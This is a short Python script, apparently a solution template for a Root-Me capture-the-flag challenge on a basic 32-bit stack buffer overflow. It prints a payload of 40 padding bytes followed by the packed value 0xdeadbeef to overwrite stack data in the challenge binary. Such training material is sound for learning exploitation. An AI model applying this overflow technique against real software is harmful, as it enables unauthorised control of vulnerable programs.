Buffer overflow exploit template

exploit.py

#!/usr/bin/env python
# -*- coding:Utf-8 -*-

#==========================================================#
# [+] Title:   Exploitation code for root-me challenge     #
#              ELF32 - Stack buffer overflow basic 1       #
# [+] Author:  Baptiste M. (Creased)                       #
# [+] Website: bmoine.fr                                   #
# [+] Email:   contact@bmoine.fr                           #
# [+] Twitter: @Creased_                                   #
#==========================================================#

import struct

def p(x):
    return struct.pack('<L', x)

def x(s):
    s = s.encode("hex")
    s = [s[i:i + 2] for i in range(0, len(s), 2)]
    x = ""
    for c in s:
        x += str('\\') + 'x' + str(c)
    return x

payload  = 'A' * 40       # Padding to fill buffer
payload += p(0xdeadbeef)  # Payload

print payload